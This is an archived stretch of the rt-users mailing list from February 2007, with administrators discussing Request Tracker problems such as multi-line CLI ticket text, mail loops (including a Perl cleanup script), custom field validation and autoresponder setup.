Message-ID: <bdbd084b0702070227s1356d9a9y5331a479be6453ee@mail.gmail.com>

Hi RT Users,

searched around the list and couldn't find any solution yet.

The Problem. Creating Tickets via RT Command Line Tool (rt)

Creating a Ticket with: ./rt create -t ticket

opens the editor like:

# Required: id, Queue

id: ticket/new
Queue:
Requestor: rt
Subject:
Cc:
AdminCc:
Owner:
Status: new
Priority:
InitialPriority:
FinalPriority:
TimeEstimated: 0
Starts: 2007-02-07 10:25:18
Due: 2007-02-07 10:25:18
Text:

Now i try to set the following:

# Please resubmit with errors corrected.

--

# Syntax error.

id: ticket/new
Queue: IBTest
Requestor: rt
Subject: Das ist der Betreff
Cc:
AdminCc:
Owner:
Status: new
Priority:
InitialPriority:
FinalPriority:
TimeEstimated:
Starts: 2007-02-07 10:25:18
Due: 2007-02-07 10:25:18
Text: Hier soll der Text stehen
>> Das ist zeiele 2
and this line 3

So it looks like the Text: Part is not allowing multi line Text.

Any ideas or hints???

Thanks

Torsten

-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From tomas.olaj at usit.uio.no  Wed Feb  7 05:38:33 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Wed, 7 Feb 2007 11:38:33 +0100 (CET)
Subject: mail loop problems: was: Re: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.63-L.0702052334060.9846@klodrik.uio.no>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<bdbd084b0702020731k70371b22ta597da8137e4aeac@mail.gmail.com>
	<Pine.LNX.4.63-L.0702052334060.9846@klodrik.uio.no>
Message-ID: <Pine.LNX.4.63-L.0702071124530.32691@attila.uio.no>


Hi,

We have checked the problem more closesly, and the reason why our 
RT/Apache server stops is due to different variants of mail loops.

We still have problems with other loop variants consuming all resources. 
Extended mailgate errors leading to loops, spam going into loop. How can 
we make mailgate a bit more smarter?

Does anyone have a mail loop detector in front of their RT installations.

We have a high severity now with our RT in production. The load is 
increasing all the time.


Our commonly used cron-script removing some mail loops:

#!/site/perl-5.8.7/bin/perl
#
# Author:  Petter Reinholdtsen
# Date:    2006-01-13
# License: GNU Public License v2 or later
#
# Look at all tickets, and remove all queue addresses from requestor,
# cc and admincc.  This reduces the amount of bounce emails sent to
# the RT admins.


use warnings;
use strict;
use Getopt::Std;

# Location of RT's libs and scripts
# Remember to change to correct path on current RT instance
use lib ("/site/rt3/local/lib", "/site/rt3/lib");

package RT;

use RT::Interface::CLI qw(CleanEnv);
use RT::Queue;
use RT::Queues;
use RT::Tickets;

my %opts;
Getopt::Std::getopts("dn", \%opts);

my $debug = $opts{'d'} || 0;
my $dryrun = $opts{'n'} || 0;

$| = 1;

# Find all queue addresses of enabled queues
my @queueaddrs =
     (
      # Aliases for e-mail lists are listed here:
      'e-mail-list at domain.com',
      );

my $ticketcount = 0;
my $starttime = time();

CleanEnv();       # Clean our the environment
RT::LoadConfig(); # Load the RT configuration
RT::Init();       # Initialise RT

my $user = RT::User->new( $RT::SystemUser );

# Merge static list with dynamic list
@queueaddrs = (load_queue_addresses(), @queueaddrs);

# Loop over all addresses, remove them from the tickets were they are
# registered as watchers

for my $address( sort @queueaddrs ) {
     print "Removing address '$address' from all tickets\n" if $debug;
     my $tickets = new RT::Tickets($RT::SystemUser);
     $tickets->FromSQL( "Watcher.EmailAddress = '$address'" );
     while( my $ticket = $tickets->Next ) {
         $ticketcount++;
         my $id = $ticket->Id;
         if ($dryrun) {
             print "Want to remove $address as watcher from ticket #$id\n";
         } else {
             $RT::Logger->info("Removed queue address $address as watcher 
".
                               "from ticket #$id");
             $ticket->DeleteWatcher(Email => $address, Type => $_ )
                 for( qw(Cc AdminCc Requestor) );
         }
     }
}

my $duration = time() - $starttime;
$RT::Logger->info("Processing of $ticketcount tickets took $duration 
seconds");

sub load_queue_addresses {
     my $queues = new RT::Queues($RT::SystemUser);
     $queues->LimitToEnabled();
     my @queueaddrs;
     foreach my $queue (@{$queues->ItemsArrayRef()}) {
         for my $address ($queue->CorrespondAddress, 
$queue->CommentAddress) {
             next unless $user->LoadByEmail( $address );
             push @queueaddrs, $address;
             print "Found queue address '$address'\n" if $debug;
         }
     }
     return @queueaddrs;
}

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From rfox at findlay.edu  Wed Feb  7 07:18:48 2007
From: rfox at findlay.edu (Ryan Fox)
Date: Wed, 07 Feb 2007 07:18:48 -0500
Subject: [rt-users] Asset Tracker
In-Reply-To: <45C999D7.3050707@jennic.com>
References: <C1BF1C58F42A304A899E2933C220F48AB62F54@COMAIL02.digitalglobe.com>
	<45C999D7.3050707@jennic.com>
Message-ID: <45C9C3A8.1090804@findlay.edu>

Mike Peachey wrote:
> I have recently been looking into Asset Tracker as an alternative to an
> asset tracker I am half way through developing, but cannot find an
> active representative website, nor a mailing list for it..
>
> Can anyone shed any light on the current status?

It is still an active project.  The main developer, Todd Chapman, 
recently switched jobs and is in the process of moving hosting.  He's 
busy, and it hasn't been a big priority, so it's been a bit slow.  The 
current version is 1.2.3, and I've got a unofficial mirror of it at 
http://homepages.findlay.edu/rfox/at-1.2.3.tar.gz if anyone needs it.

I did see an e-mail comes through yesterday from the at-users mailing 
list (at-users at lists.chaka.net) yesterday, so perhaps those are up now.

It's a great product, incredibly flexible, and Todd has helped me 
personally on several occasions.  Can't ask for anything better for the 
price. :)

Ryan
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From tomas.olaj at usit.uio.no  Wed Feb  7 08:02:58 2007
From: tomas.olaj at usit.uio.no (Tomas Olaj)
Date: Wed, 7 Feb 2007 14:02:58 +0100 (CET)
Subject: [rt-users] How to RT-admins handle mail loops (bounces)?
Message-ID: <Pine.LNX.4.63-L.0702071402130.32691@attila.uio.no>


SSIA, ;)

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group

---------- Forwarded message ----------
Date: Wed, 7 Feb 2007 11:38:33 +0100 (CET)
From: Tomas Olaj <tomaso at ulrik.uio.no>
Reply-To: Tomas Olaj <tomas.olaj at usit.uio.no>
To: rt-users at lists.bestpractical.com
Subject: mail loop problems: was: Re: [rt-users] RT/Apache suddenly hangs


Hi,

We have checked the problem more closesly, and the reason why our RT/Apache 
server stops is due to different variants of mail loops.

We still have problems with other loop variants consuming all resources. 
Extended mailgate errors leading to loops, spam going into loop. How can we 
make mailgate a bit more smarter?

Does anyone have a mail loop detector in front of their RT installations.

We have a high severity now with our RT in production. The load is increasing 
all the time.


Our commonly used cron-script removing some mail loops:

#!/site/perl-5.8.7/bin/perl
#
# Author:  Petter Reinholdtsen
# Date:    2006-01-13
# License: GNU Public License v2 or later
#
# Look at all tickets, and remove all queue addresses from requestor,
# cc and admincc.  This reduces the amount of bounce emails sent to
# the RT admins.


use warnings;
use strict;
use Getopt::Std;

# Location of RT's libs and scripts
# Remember to change to correct path on current RT instance
use lib ("/site/rt3/local/lib", "/site/rt3/lib");

package RT;

use RT::Interface::CLI qw(CleanEnv);
use RT::Queue;
use RT::Queues;
use RT::Tickets;

my %opts;
Getopt::Std::getopts("dn", \%opts);

my $debug = $opts{'d'} || 0;
my $dryrun = $opts{'n'} || 0;

$| = 1;

# Find all queue addresses of enabled queues
my @queueaddrs =
     (
      # Aliases for e-mail lists are listed here:
      'e-mail-list at domain.com',
      );

my $ticketcount = 0;
my $starttime = time();

CleanEnv();       # Clean our the environment
RT::LoadConfig(); # Load the RT configuration
RT::Init();       # Initialise RT

my $user = RT::User->new( $RT::SystemUser );

# Merge static list with dynamic list
@queueaddrs = (load_queue_addresses(), @queueaddrs);

# Loop over all addresses, remove them from the tickets were they are
# registered as watchers

for my $address( sort @queueaddrs ) {
     print "Removing address '$address' from all tickets\n" if $debug;
     my $tickets = new RT::Tickets($RT::SystemUser);
     $tickets->FromSQL( "Watcher.EmailAddress = '$address'" );
     while( my $ticket = $tickets->Next ) {
         $ticketcount++;
         my $id = $ticket->Id;
         if ($dryrun) {
             print "Want to remove $address as watcher from ticket #$id\n";
         } else {
             $RT::Logger->info("Removed queue address $address as watcher ".
                               "from ticket #$id");
             $ticket->DeleteWatcher(Email => $address, Type => $_ )
                 for( qw(Cc AdminCc Requestor) );
         }
     }
}

my $duration = time() - $starttime;
$RT::Logger->info("Processing of $ticketcount tickets took $duration seconds");

sub load_queue_addresses {
     my $queues = new RT::Queues($RT::SystemUser);
     $queues->LimitToEnabled();
     my @queueaddrs;
     foreach my $queue (@{$queues->ItemsArrayRef()}) {
         for my $address ($queue->CorrespondAddress, $queue->CommentAddress) {
             next unless $user->LoadByEmail( $address );
             push @queueaddrs, $address;
             print "Found queue address '$address'\n" if $debug;
         }
     }
     return @queueaddrs;
}

-- 
________________________________________________________________________
Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
  University of Oslo / USIT (Center for Information Technology Services)
    System- and Application Management / Applications Management Group


From theillien at yahoo.com  Wed Feb  7 08:21:59 2007
From: theillien at yahoo.com (Mathew)
Date: Wed, 07 Feb 2007 08:21:59 -0500
Subject: [rt-users] How to RT-admins handle mail loops (bounces)?
In-Reply-To: <Pine.LNX.4.63-L.0702071402130.32691@attila.uio.no>
References: <Pine.LNX.4.63-L.0702071402130.32691@attila.uio.no>
Message-ID: <45C9D277.3000407@yahoo.com>

Procmail rules.

Mathew

Tomas Olaj wrote:
> 
> SSIA, ;)
> 



From torsten.brumm at googlemail.com  Wed Feb  7 11:10:43 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Wed, 7 Feb 2007 17:10:43 +0100
Subject: [rt-users] RT 3.6.3 Mandatory CF's
Message-ID: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>

Hi RT Users,

just a simple question for Custom Fields:

Can a Custom Field be 'validate', and non-mandatory?

This means, only a check that the content is a Number and nothing else but
not needed or mandatory?

-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From todd at chaka.net  Wed Feb  7 11:18:00 2007
From: todd at chaka.net (Todd Chapman)
Date: Wed, 7 Feb 2007 11:18:00 -0500
Subject: [rt-users] RT 3.6.3 Mandatory CF's
In-Reply-To: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>
References: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>
Message-ID: <20070207161800.GF11914@erie.mg2.org>

Yes. Write a regular expression that matches are number or
nothing.

On Wed, Feb 07, 2007 at 05:10:43PM +0100, Torsten Brumm wrote:
> Hi RT Users,
> 
> just a simple question for Custom Fields:
> 
> Can a Custom Field be 'validate', and non-mandatory?
> 
> This means, only a check that the content is a Number and nothing else but
> not needed or mandatory?
> 
> -- 
> MFG
> 
> Torsten Brumm
> 
> http://www.torsten-brumm.de

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From torsten.brumm at googlemail.com  Wed Feb  7 11:21:02 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Wed, 7 Feb 2007 17:21:02 +0100
Subject: [rt-users] RT 3.6.3 Mandatory CF's
In-Reply-To: <20070207161800.GF11914@erie.mg2.org>
References: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>
	<20070207161800.GF11914@erie.mg2.org>
Message-ID: <bdbd084b0702070821i1f63da9pc7841357a39b6f23@mail.gmail.com>

I have! But, if i leave this field empty, i cant update the ticket....! So i
mean, this field must able to be empty or only with a number...

Whats wrong?

Torsten

2007/2/7, Todd Chapman <todd at chaka.net>:
>
> Yes. Write a regular expression that matches are number or
> nothing.
>
> On Wed, Feb 07, 2007 at 05:10:43PM +0100, Torsten Brumm wrote:
> > Hi RT Users,
> >
> > just a simple question for Custom Fields:
> >
> > Can a Custom Field be 'validate', and non-mandatory?
> >
> > This means, only a check that the content is a Number and nothing else
> but
> > not needed or mandatory?
> >
> > --
> > MFG
> >
> > Torsten Brumm
> >
> > http://www.torsten-brumm.de
>
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From Raphael.berlamont at raphux.com  Wed Feb  7 11:23:44 2007
From: Raphael.berlamont at raphux.com (Raphael Berlamont)
Date: Wed, 7 Feb 2007 17:23:44 +0100 (CET)
Subject: [rt-users] RT 3.6.3 Mandatory CF's
In-Reply-To: <bdbd084b0702070821i1f63da9pc7841357a39b6f23@mail.gmail.com>
References: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>
	<20070207161800.GF11914@erie.mg2.org>
	<bdbd084b0702070821i1f63da9pc7841357a39b6f23@mail.gmail.com>
Message-ID: <47453.88.191.12.192.1170865424.squirrel@webmail2.raphux.com>

On Mer 7 f?vrier 2007 17:21, Torsten Brumm a ?crit :
> I have! But, if i leave this field empty, i cant update the ticket....! So
> i mean, this field must able to be empty or only with a number...
>
> Whats wrong?

Can you send your regular expression?

-- 
Raph.


From rfh at pipex.net  Wed Feb  7 12:11:21 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Wed, 07 Feb 2007 17:11:21 +0000
Subject: [rt-users] RT 3.6.3 Mandatory CF's
In-Reply-To: <bdbd084b0702070821i1f63da9pc7841357a39b6f23@mail.gmail.com>
References: <bdbd084b0702070810n3148a3f5lf034505b07b31807@mail.gmail.com>	<20070207161800.GF11914@erie.mg2.org>
	<bdbd084b0702070821i1f63da9pc7841357a39b6f23@mail.gmail.com>
Message-ID: <45CA0839.6020905@pipex.net>

for nothing did you do:
 $cf eq ''
or
  (!$cf) ??
it should be (!$cf)
Roy

Torsten Brumm wrote:
> I have! But, if i leave this field empty, i cant update the 
> ticket....! So i
> mean, this field must able to be empty or only with a number...
>
> Whats wrong?
>
> Torsten
>
> 2007/2/7, Todd Chapman <todd at chaka.net>:
>>
>> Yes. Write a regular expression that matches are number or
>> nothing.
>>
>> On Wed, Feb 07, 2007 at 05:10:43PM +0100, Torsten Brumm wrote:
>> > Hi RT Users,
>> >
>> > just a simple question for Custom Fields:
>> >
>> > Can a Custom Field be 'validate', and non-mandatory?
>> >
>> > This means, only a check that the content is a Number and nothing else
>> but
>> > not needed or mandatory?
>> >
>> > --
>> > MFG
>> >
>> > Torsten Brumm
>> >
>> > http://www.torsten-brumm.de
>>
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From vivek at khera.org  Wed Feb  7 14:07:58 2007
From: vivek at khera.org (Vivek Khera)
Date: Wed, 7 Feb 2007 14:07:58 -0500
Subject: [rt-users] How do you configure RT 3.4 to not send any email
	response to a specific listy of addresses? 
In-Reply-To: <Pine.LNX.4.64.0702061223390.8862@homer21.u.washington.edu>
References: <Pine.LNX.4.64.0702061223390.8862@homer21.u.washington.edu>
Message-ID: <4F94BEA7-68CF-49B3-8CA7-2A1DC4C093E6@khera.org>


On Feb 6, 2007, at 3:27 PM, John H. Nyhuis wrote:

>         We have several scripts that send problem reports to our RT  
> system. When RT receives these, we do want it to produce a ticket,  
> but we do not want it to send any sort of response mail.  Since the  
> script or daemon has no mechanism to recieve mail this response  
> mail just ends up becoming undeliverable.  Does anyone have a RT  
> 3.4 configuration that allows you to specify a list of email  
> addresses that over-rides the default behavior of sending RT  
> response mail? Obviously, I do want RT to send reply mail when it  
> receives a request from a real person not specified in the list.

we disable the global autoresponder and enable it specifically per- 
queue (and we also use a queue specific template).

then we set up special queues to handle such automatic alert  
notifications that don't do autoresponder, and have appropriate  
watchers amongst the development crew.
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From vivek at khera.org  Wed Feb  7 14:12:19 2007
From: vivek at khera.org (Vivek Khera)
Date: Wed, 7 Feb 2007 14:12:19 -0500
Subject: [rt-users] How to RT-admins handle mail loops (bounces)?
In-Reply-To: <Pine.LNX.4.63-L.0702071402130.32691@attila.uio.no>
References: <Pine.LNX.4.63-L.0702071402130.32691@attila.uio.no>
Message-ID: <14B08BDA-C32D-4964-9C0B-41D7F6498CFE@khera.org>


On Feb 7, 2007, at 8:02 AM, Tomas Olaj wrote:

>
> SSIA, ;)
>

mail loops or bounces? these are two different things.

mail loops should be handled by RT.  I tried to fake it by making a  
custom scrip condition to throttle replies to the same address over a  
period of time, but there is no place to stash a "last sent time" and  
"number of messages sent" in a user record that i could find.  we've  
had our share of autoresponder wars and have to manually intervene by  
disabling the on create scrip.

as for bounces, I posted on the wiki in the contrib section details  
of how I link them back to the originating ticket so you know when a  
customer response failed.

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From pkime at Shopzilla.com  Wed Feb  7 17:50:48 2007
From: pkime at Shopzilla.com (Philip Kime)
Date: Wed, 7 Feb 2007 14:50:48 -0800
Subject: [rt-users] Re: RT 3.6.3 Mandatory CF's
Message-ID: <9C0091F428E697439E7A773FFD083427A92944@szexchange.Shopzilla.inc>


> just a simple question for Custom Fields:
> Can a Custom Field be 'validate', and non-mandatory?
> This means, only a check that the content is a Number and nothing else
but
> not needed or mandatory?

Actually, we are just in the process at where I work of modifying RT to
make "Mandatory" a completely separate checkbox to format validation
partly for this very reason. We want all this in the core API so it's
enforced for all interfaces (GUI, REST, Email ...) and so "being
mandatory" is completely separate from "matching a certain pattern".
There are a few reasons why this makes sense and it's really important
when using RT in an audited change management environment. We'll
probably be posting the patches when it's done (fairly soon).

PK


From ESchultz at corp.untd.com  Wed Feb  7 18:01:41 2007
From: ESchultz at corp.untd.com (Schultz, Eric)
Date: Wed, 7 Feb 2007 15:01:41 -0800
Subject: [rt-users] Re: RT 3.6.3 Mandatory CF's
References: <9C0091F428E697439E7A773FFD083427A92944@szexchange.Shopzilla.inc>
Message-ID: <5613F89D78D2F545A40423EBA5535C3015B8E24E@LAXEVS01.lax.corp.int.untd.com>

> > just a simple question for Custom Fields:
> > Can a Custom Field be 'validate', and non-mandatory?
> > This means, only a check that the content is a Number and 
> nothing else
> but
> > not needed or mandatory?
> 
> Actually, we are just in the process at where I work of 
> modifying RT to
> make "Mandatory" a completely separate checkbox to format validation
> partly for this very reason. We want all this in the core API so it's
> enforced for all interfaces (GUI, REST, Email ...) and so "being
> mandatory" is completely separate from "matching a certain pattern".
> There are a few reasons why this makes sense and it's really important
> when using RT in an audited change management environment. We'll
> probably be posting the patches when it's done (fairly soon).
> 
> PK

I thought that using the current interface, if you wanted to make
something non-mandatory, you could just wrap a '()?' around it (not
including quotes)?  I'm pretty sure I've seen that posted to the mailing
list as well.

Eric Schultz
United Online


From ruslan.zakirov at gmail.com  Wed Feb  7 18:13:54 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 8 Feb 2007 02:13:54 +0300
Subject: mail loop problems: was: Re: [rt-users] RT/Apache suddenly hangs
In-Reply-To: <Pine.LNX.4.63-L.0702071124530.32691@attila.uio.no>
References: <Pine.LNX.4.63-L.0702021609010.32691@attila.uio.no>
	<bdbd084b0702020731k70371b22ta597da8137e4aeac@mail.gmail.com>
	<Pine.LNX.4.63-L.0702052334060.9846@klodrik.uio.no>
	<Pine.LNX.4.63-L.0702071124530.32691@attila.uio.no>
Message-ID: <589c94400702071513y715c1f23o99fe63bc72996d20@mail.gmail.com>

Have you seen option RTAddressRegexp in the RT config?
Read http://wiki.bestpractical.com/?EmailInterface and
http://wiki.bestpractical.com/?RTAddressRegexp



On 2/7/07, Tomas Olaj <tomas.olaj at usit.uio.no> wrote:
>
> Hi,
>
> We have checked the problem more closesly, and the reason why our
> RT/Apache server stops is due to different variants of mail loops.
>
> We still have problems with other loop variants consuming all resources.
> Extended mailgate errors leading to loops, spam going into loop. How can
> we make mailgate a bit more smarter?
>
> Does anyone have a mail loop detector in front of their RT installations.
>
> We have a high severity now with our RT in production. The load is
> increasing all the time.
>
>
> Our commonly used cron-script removing some mail loops:
>
> #!/site/perl-5.8.7/bin/perl
> #
> # Author:  Petter Reinholdtsen
> # Date:    2006-01-13
> # License: GNU Public License v2 or later
> #
> # Look at all tickets, and remove all queue addresses from requestor,
> # cc and admincc.  This reduces the amount of bounce emails sent to
> # the RT admins.
>
>
> use warnings;
> use strict;
> use Getopt::Std;
>
> # Location of RT's libs and scripts
> # Remember to change to correct path on current RT instance
> use lib ("/site/rt3/local/lib", "/site/rt3/lib");
>
> package RT;
>
> use RT::Interface::CLI qw(CleanEnv);
> use RT::Queue;
> use RT::Queues;
> use RT::Tickets;
>
> my %opts;
> Getopt::Std::getopts("dn", \%opts);
>
> my $debug = $opts{'d'} || 0;
> my $dryrun = $opts{'n'} || 0;
>
> $| = 1;
>
> # Find all queue addresses of enabled queues
> my @queueaddrs =
>      (
>       # Aliases for e-mail lists are listed here:
>       'e-mail-list at domain.com',
>       );
>
> my $ticketcount = 0;
> my $starttime = time();
>
> CleanEnv();       # Clean our the environment
> RT::LoadConfig(); # Load the RT configuration
> RT::Init();       # Initialise RT
>
> my $user = RT::User->new( $RT::SystemUser );
>
> # Merge static list with dynamic list
> @queueaddrs = (load_queue_addresses(), @queueaddrs);
>
> # Loop over all addresses, remove them from the tickets were they are
> # registered as watchers
>
> for my $address( sort @queueaddrs ) {
>      print "Removing address '$address' from all tickets\n" if $debug;
>      my $tickets = new RT::Tickets($RT::SystemUser);
>      $tickets->FromSQL( "Watcher.EmailAddress = '$address'" );
>      while( my $ticket = $tickets->Next ) {
>          $ticketcount++;
>          my $id = $ticket->Id;
>          if ($dryrun) {
>              print "Want to remove $address as watcher from ticket #$id\n";
>          } else {
>              $RT::Logger->info("Removed queue address $address as watcher
> ".
>                                "from ticket #$id");
>              $ticket->DeleteWatcher(Email => $address, Type => $_ )
>                  for( qw(Cc AdminCc Requestor) );
>          }
>      }
> }
>
> my $duration = time() - $starttime;
> $RT::Logger->info("Processing of $ticketcount tickets took $duration
> seconds");
>
> sub load_queue_addresses {
>      my $queues = new RT::Queues($RT::SystemUser);
>      $queues->LimitToEnabled();
>      my @queueaddrs;
>      foreach my $queue (@{$queues->ItemsArrayRef()}) {
>          for my $address ($queue->CorrespondAddress,
> $queue->CommentAddress) {
>              next unless $user->LoadByEmail( $address );
>              push @queueaddrs, $address;
>              print "Found queue address '$address'\n" if $debug;
>          }
>      }
>      return @queueaddrs;
> }
>
> --
> ________________________________________________________________________
> Tomas A. P. Olaj, email: tomas.olaj at usit.uio.no, web: folk.uio.no/tomaso
>   University of Oslo / USIT (Center for Information Technology Services)
>     System- and Application Management / Applications Management Group
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From aredman at education.ucsb.edu  Wed Feb  7 18:39:07 2007
From: aredman at education.ucsb.edu (Andrew Redman)
Date: Wed, 07 Feb 2007 15:39:07 -0800
Subject: [Fwd: Re: [rt-users] Re: RT 3.6.3 Mandatory CF's]
Message-ID: <45CA631B.2010001@education.ucsb.edu>

This is what I have been doing, and it worked in 3.6.1. Since I upgraded 
to 3.6.3, the ()? causes no regexp matching to be done (it lets strings 
pass '(/d)?'.) I can get mandatory fields to work, just not optional 
fields with enforced formatting.

- Andrew Redman
aredman at education.ucsb.edu

Schultz, Eric wrote:
>>> just a simple question for Custom Fields:
>>> Can a Custom Field be 'validate', and non-mandatory?
>>> This means, only a check that the content is a Number and 
>>>       
>> nothing else
>> but
>>     
>>> not needed or mandatory?
>>>       
>> Actually, we are just in the process at where I work of 
>> modifying RT to
>> make "Mandatory" a completely separate checkbox to format validation
>> partly for this very reason. We want all this in the core API so it's
>> enforced for all interfaces (GUI, REST, Email ...) and so "being
>> mandatory" is completely separate from "matching a certain pattern".
>> There are a few reasons why this makes sense and it's really important
>> when using RT in an audited change management environment. We'll
>> probably be posting the patches when it's done (fairly soon).
>>
>> PK
>>     
>
> I thought that using the current interface, if you wanted to make
> something non-mandatory, you could just wrap a '()?' around it (not
> including quotes)?  I'm pretty sure I've seen that posted to the mailing
> list as well.
>
> Eric Schultz
> United Online
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>   




From pkime at Shopzilla.com  Wed Feb  7 19:39:10 2007
From: pkime at Shopzilla.com (Philip Kime)
Date: Wed, 7 Feb 2007 16:39:10 -0800
Subject: [rt-users] Re: RT 3.6.3 Mandatory CF's
Message-ID: <9C0091F428E697439E7A773FFD083427A92948@szexchange.Shopzilla.inc>

Eric Schultz wrote:

> I thought that using the current interface, if you wanted to make
something non-
> mandatory, you could just wrap a '()?' around it (not including
quotes)?  I'm pretty 
> sure I've seen that posted to the mailing list as well. 

You can, but when you try to make sure the other interfaces (REST,
Email) obey mandatory fields, you find that you really need to code
mandatory and format enforcement in different ways and at different
places so it makes sense to split it up. Also, conceptually, a mandatory
field is a completely different thing from a field of a certain format.
For auditors, seeing a checkbox saying "mandatory" is a whole lot more
convincing than a match-all regexp (if they even know what a regexp is
...).



From jesse at bestpractical.com  Wed Feb  7 19:40:54 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 07 Feb 2007 19:40:54 -0500
Subject: [rt-users] global / RT at a glance error
In-Reply-To: <e1b63c360702041006p5623ac91ta7eca626eb32e66b@mail.gmail.com>
References: <e1b63c360702041006p5623ac91ta7eca626eb32e66b@mail.gmail.com>
Message-ID: <45CA7196.4070201@bestpractical.com>

fname lname wrote:
> Im getting an error when i go to the "global / RT at a glance error ".
> 
> 
> error:  Can't call method "Content" on an undefined value at
> /usr/share/rt3/html/Admin/Global/MyRT.html line 50.
> context:
>
(Apologies if this has already been answered (possibly by me, even). I'm
on a plane without easy access to archives)

This means you didn't run the database upgrade scripts in 3.6. For
3.6.3, we've gone to some lengths to mostly warn about what's going
wrong a bit better, though we may have missed a spot

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From jesse at bestpractical.com  Wed Feb  7 19:42:32 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 07 Feb 2007 19:42:32 -0500
Subject: [rt-users] Getting data from Excel into RT?
In-Reply-To: <E0F0BBC78185F94D8608A18CFC37FA23060AE08B@raptor.cbdadmin.com>
References: <E0F0BBC78185F94D8608A18CFC37FA23060AE08B@raptor.cbdadmin.com>
Message-ID: <45CA71F8.10804@bestpractical.com>

Peter Wood wrote:
> Greetings,
> 
> We've got a spreadsheet (hand-produced, not created by RT) that has a
> number of projects which we would like to convert into RT tickets. I've
> searched the RT users mailing list to see if anyone has attempted
> something like this, and I have found a few messages where people
> suggest using the "offline" feature in RT. However, I haven't been able
> to find any documentation on how to make use of this feature. Can anyone
> give me some pointers on either where to look for more detailed
> information, or suggestions on another way to get Excel data into RT?
> 

With a bit of coaxing, the "tools - off line" item from RT's main menu,
will take a tab-separated spreadsheet in the same format as RT's "export
to spreadsheet" search result functionality.

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From jesse at bestpractical.com  Wed Feb  7 19:48:02 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 07 Feb 2007 19:48:02 -0500
Subject: [rt-users] Custom fields are not being displayed
In-Reply-To: <Pine.LNX.4.64.0702011701370.725@bambam.inf.ed.ac.uk>
References: <Pine.LNX.4.64.0702011701370.725@bambam.inf.ed.ac.uk>
Message-ID: <45CA7342.1040702@bestpractical.com>

Alison Downie wrote:
> 
> I am trying to upgrade from 3.0.8 to 3.6.1 and it all looked OK apart
> from not being able to see any Custom Fields when I display a ticket.
> Despite giving myself the appropriate rights (AdminCustomField etc) I
> cannot perform any configuration on them either. I am running on fc5,
> perl version 5.8.8-5, apache 1.3 and mysql 5.0.27. When I check the rt3
> database using mysql, both the CustomFields and CustomFieldValues tables
> appear to be populated correctly.
> 
> I'm sure I'm missing something obvious but can anyone shed some light on
> this ?
> 

(I'm on a plane and my mail client is claiming this message had no
replies. Apologies if it's already sorted.)

Starting in, IIRC, RT 3.4, we added per-custom-field access controls.
Head on over to "Configuration -> Custom Fields" and grant your groups
the rights to some custom fields and you should be all set.

Jesse

> Thanks,
> 
> Alison
> 


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From theillien at yahoo.com  Thu Feb  8 01:02:05 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 01:02:05 -0500
Subject: [rt-users] Spam email question
Message-ID: <45CABCDD.5090906@yahoo.com>

Shredder doesn't like when an email address contains either a single- or
double-qoute.  Understandably so considering this messes with Perl and makes it
look for a closing, matching mark.  This makes me wonder if it is possible to
strip these out of the email *before* it gets inserted as the username/email
address.  Doing so would allow me to perform automated user shreds rather than
run my script manually everynight.

Mathew


